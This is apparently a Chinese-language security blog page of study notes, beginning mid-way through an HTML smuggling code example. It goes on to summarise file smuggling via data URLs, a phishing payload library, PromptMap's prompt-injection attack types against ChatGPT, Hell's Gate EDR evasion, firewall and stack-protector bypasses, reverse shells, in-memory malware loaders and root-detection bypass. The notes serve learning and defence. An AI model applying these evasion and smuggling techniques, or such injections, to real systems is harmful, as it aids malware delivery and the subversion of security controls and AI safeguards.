return URL.createObjectURL(new Blob([bytes], {type: mimeType}))
}
var url = _base64ToArrayBuffer(base64_encoded_file,'octet/stream')
const link = document.createElement('a');
document.body.appendChild(link);
link.href = url;
link.download = fileName;
link.innerText = 'Download';
</script>
</body>
</html>

 只要点击上面的链接,就会开始下载。

走私方式2:DataURL

 将较小的文件(65535字节)嵌入HTML文件中。

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<body>
<!--
data : 前缀
text : MIME 类型的字符串,表示 text 类型
base64 : base64 编码
-->
<a href="data:text/x-powershell;base64,aXBjb25maWcNCmhvc3RuYW1l"
download="test.ps1">
Download
</a>
</body>
</html>

HTMLSmuggler 工具

 文章链接。目标是创建一个 javascript 库,其中潜入了用户定义的恶意代码,此库会集成到钓鱼网站中。创建的 javascript 库链接为:链接

 此库的特点为:

(1)内置 JavaScript 模糊处理程序,可完全隐藏负载。

(2)既可以作为独立的 JS 库使用,也可以嵌入 React、Vue.JS 等 JS 框架中。

(3)允许添加额外的数据处理程序/压缩/模糊处理。

Prompt Injection for chatGPT: PromptMap

 PromptMap 通过了解在 ChatGPT 上配置规则的上下文来自动测试 Prompt 注入。项目链接:链接。工作原理:

image-20230923233900829

 攻击类型:

(1)没有 Prompt 增强的情况下的注入,目的是不相关的答案或操作。

(2)翻译注入:向 ChatGPT 提供不受语言限制的英语 Prompt,以判断它是否以另一种语言响应。

(3)数学注入:让 ChatGPT 求解数学方程表明其完成复杂任务的能力。

(4)上下文切换:询问不相关的问题来衡量 ChatGPT 回答特定目标的敏感查询的意愿。

(5)外部浏览:允许 ChatGPT 浏览特定的 URL。

(6)外部 Prompt 注入:询问 ChatGPT 是否可以访问特定 URL 以获得其他提示。

Fault Injection Reference Model (FIRM)

 故障注入原理模型(FIRM),链接

 厂家都不想让用户直接访问产品的底层,知晓产品的底层原理,而是想让他们无脑使用产品即可。相关的,厂家设计了很多安全保护措施,来保护产品底层,例如Secure Boot。

 然而,黑客使用故障注入(FI),可以成功的攻击各种产品(例如PS5),从而实现代码执行、提权、提取密钥等。FI是一种绕过Secure Boot与提权的有效技术,即使用专门的工具在特定时刻将故障注入产品中

FI漏洞

 FI漏洞是硬件系统对输入的敏感性,例如使用电压毛刺绕过Secure Boot。有时候触发FI漏洞不是全都需要专门的工具,使用软件也可以触发。

FI攻击

 FI攻击并不简单,当攻击目标很复杂时,攻击变量的细微差别很重要,包括毛刺的定时、毛刺的形状、毛刺的影响、目标的状态等。通过FIRM,可以在概念上分解FI攻击,有助于我们更好的理解FI攻击。

FIRM描述

 FI攻击的六个阶段: Activate、Inject、Glitch、Fault、Exploit、Goal。

 其中Activate、Inject、Glitch是触发FI漏洞所需的条件。Activate指需要使用的FI技术,Inject指这些FI技术都能起到什么作用,Glitch代表对FI漏洞的毛刺进行整形的参数。

 Fault、Exploit、Goal指FI漏洞被触发后可以做的事。Fault代表由于FI漏洞而引入的故障类型,Exploit描述攻击者如何利用给定的故障来实现特定的目标,Goal代表攻击者最后可以达到的目标。如下所示:

img

 FIRM还可以指导防御措施,如下所示:

img

使用 Rust 进行模糊测试开发

https://github.com/raminfp/fuzzer-development-with-rust

Hint 一下,有空学习。

CVE-2023-4809:FreeBSD pf 绕过

https://seclists.org/oss-sec/2023/q3/168

 OpenBSD Packet Filter(PF) 是一款自 OpenBSD 移植来的防火墙,提供了大量功能。它还有两种防火墙,分别为 ipfw 与 ipfilter。当两个通信的数据包大于 MTU(最大传输单元)时,IPv4/6 通常会对数据包进行分段。

 IPv6 分段是通过将 IPv6 分组的有效载荷分成多个片段来实现的:每个片段包含分组标识符(给定分组的所有片段都相同)、片段偏移量、下一个报头类型、指示片段是否是最后一个的标志。IPv6 片段的一种特殊类型是原子片段,即数据包仅使用一个片段进行分段,分段传输仅由唯一的片段组成。

漏洞

 使用 pf 作为 IPv6 流量的防火墙并启用 scrub 来重组 IPv6 碎片的 FreeBSD 容易受到利用 IPv6 碎片绕过规则的攻击。例如,有如下规则:attacker 主机发出的所有 TCP、UDP、ICMPv6 流量都被过滤,其他则放行(规则1),对于碎片化的流量,重组后再进行检查(规则2)。

 那么,attacker 发送 IPv6 原子片段,其中放了好多 IPv6 片段头。pf 进行数据包重组,但是不会匹配规则1,因此此数据包被通过。此外,重组过程修复了数据包,因此防火墙后的操作系统可以接收改数据包。

EDR bypass-地狱之门

https://labs.en1gma.co/malwaredevelopment/evasion/security/2023/08/14/syscalls.html

 地狱之门:动态系统调用 ID 提取器

 系统调用为用户进程访问需要提升特权的系统功能提供了一种方式。如下所示:

image-20231102203554068

 windows只有 ring 0(内核模式)、ring3(用户模式)。很多EDR产品会在 windows API 设置钩子,从而检测是否有病毒软件,通过系统调用,我们不调用 windows api了,直接 syscall(系统调用并不提供内核级的特权,而是本质上允许从用户模式到内核模式的临时转换)。

什么是地狱之门?

 地狱之门是一种在64位Windows进程的上下文中动态提取syscall id的技术。由于syscall id在Windows的每个版本中都不一致,地狱之门通过从运行时加载到进程中的ntdll.dll模块中动态提取syscall id来解决不一致问题。其具体流程为:

(1)在进程内存中,通过遍历模块基址的PEB来识别ntdll.dll。

(2)遍历进程内存中的ntdll.dll PE(可移植可执行文件)结构,以找到导出地址表。

(3)找到目标函数并遍历函数的机器码直到找到egg(标识syscall指令的汇编组),遍历结束。

地狱之门实现

(1)首先,我们不依赖 windows api 找到 PEB。PEB 包含与进程的执行环境相关的数据,如命令行参数、环境变量、加载的模块和安全设置,其具体结构见链接。那具体怎么找呢?

  (a)TEB(线程环境块)包含PEB地址。而在x86_64上,GS CPU寄存器存储指向 TEB 的基址,以TEB为基底,PEB的指针位于TEB+0x60。并且,C++有函数__readgsqword,它将读取GS寄存器,并以偏移值作为参数。

1
UINT64* pebPtr = (UINT64*)__readgsqword(0x60);

  (b)在 PEB 中,有指针 LDR_DATA(pebPtr+0x18),它包含了加载的模块列表的位置,根据它,可以找到 ntdll.dll 模块在的内存结构中的位置。LDR_DATA 指向 3 个不同的列表,我们使用InLoadOrderModuleList(模块在启动时加载到流程中的顺序列出模块),其位置在 LDR_DATA+0x10。

  (c)最终,可以找到 ntdll.dll,并保存模块的基址。

(2)遍历 ntdll.dll,提取 syscall id。

  找到硬盘中的 ntdll.dll,并通过工具找到 AddressOfFunctions 与 AddressOfNames 的地址,遍历循环它们,来连接函数名与函数实际位置。

 之后,就要找到嵌入在函数程序中的syscall id,每个函数的前4个字节都是一样的,第5个字节不一样,它就是syscall id。之后,通过调用syscall id来进行系统调用。

CVE-2023-4039:gcc 栈溢出保护绕过

https://rtx.meta.security/mitigation/2023/09/12/CVE-2023-4039.html

 堆栈溢出保护是,在堆栈的开始放入随机数,如果函数结束后发现随机数更改,则判定系统出错。aarch64的可变长度数组放置的地点是有缺陷的,可以简单的绕过堆栈溢出保护。

HTTP-Shell - MultiPlatform HTTP Reverse Shell

http://dlvr.it/Svvm7B

 HTTP Shell是多平台反向Shell。与其他反向shell不同,该工具的主要目标是将其与Microsoft开发人员隧道结合使用,以便获得尽可能接近合法连接的连接。

恶意软件检测的内存分析器

 YAMA是一个生成扫描程序的系统,可以在事件响应期间检查特定的恶意软件,旨在探索Windows操作系统的内存并检测恶意软件。基于YAMA的内存分析器可以检测内存马。
https://securityonline.info/yama-yet-another-memory-analyzer-for-malware-detection/

Web应用程序安全测试自动化工具

NucleiFuzzer=ParamSpider+Nuclei。ParamSpider用来识别source,并以Nuclei为模板扫描漏洞。
http://www.kitploit.com/2023/09/nucleifuzzer-powerful-automation-tool.html

donut_decryptor

 Donut 是一种与位置无关的代码,可以在内存中执行 VBScript、JScript、EXE、DLL、.NET。 Donut 创建的模块可以从 HTTP 服务器暂存,也可以直接嵌入到加载器本身中。 该模块可选择使用 Chaskey 分组密码和 128 位随机生成的密钥进行加密。 文件在内存中加载并执行后,原始引用将被删除以阻止内存扫描。

https://github.com/TheWover/donut

 为了破解Donut,有工具被研发出来。donut-decryptor 检查文件中是否有 donut 的加载器 shellcode 的已知签名。 如果找到,它将解析 shellcode 以定位、解密和提取嵌入在二进制文件中的 DONUT_INSTANCE 结构,并报告相关的配置数据。 如果二进制文件中存在 DONUT_MODULE,则会将其解密并转储到磁盘。

http://github.com/volexity/donut-decryptor

反编译原理控制流分析

 流图可以通过一些规则进行归约,归约到一个点。但是有一些流图不可归约,例如有多入口、出口的循环,这一般是由编译器优化而成的。ida在进行反编译时,需要对流图进行归约。为了对不可归约的流图进行处理,所以会插入goto语句。

https://mp.weixin.qq.com/s/swnTxas1wYWhaMgcq4fv-A

高级 root 检测和绕过技术

 分析流程见下文。总结一下,root检测的方法有,如果检测函数是native的,那么:

(1)检查系统是否有system/bin/su路径,如果有则返回假路径(通过勾取access方法)。

(2)访问/selinux查看访问权限,返回其他文件(勾取stat)。

(3)访问/proc/self/attr/prev,查看文件内容。

(4)查看是否有magisk的路径,或者有些只读路径变成可写的。

(5)arm程序中的svc 0x0,用于进行系统调用,发现有些系统调用也会进行root检查(地狱之门)。

https://8ksec.io/advanced-root-detection-bypass-techniques/

HeaderLessPE

 HeaderLessPE是Icedid木马使用的内存PE加载技术。相比MemDll等内存加载技术,扩展后的HeaderLessPE有两个优点:

  • 避免传统PE的DOS头、PE头特征。DOS头和PE头经常是被内存扫描的照顾重点特征,在使用Cobalt Strike的时候常需要设置Profile文件将加载完成的Beacon头抹掉,使用HeaderLessPE就不需要担心这个问题。
  • 支持重定位和导入表,能方便的将EXE转换为HeaderLessPE结构。只要是支持重定位,不包含如:Tls、delay import等结构都能够转换为HeaderLessPE,这样不仅可以用来做木马内存模块,还可以将一些黑客工具方便的转换为HeaderLessPE进行内存加载运行,扩展可使用的攻击工具。

https://github.com/M01N-Team/HeaderLessPE

客户端 JavaScript 插桩

https://blog.doyensec.com//2023/09/25/clientside-javascript-instrumentation.html

客户端 JavaScript 插桩:使用常见的浏览器功能(例如 XSS 接收器和 DOM 接收器)实现类似于 ltrace、strace 和 frida 的能力。

留言

© 2024 wd-z711

⬆︎TOP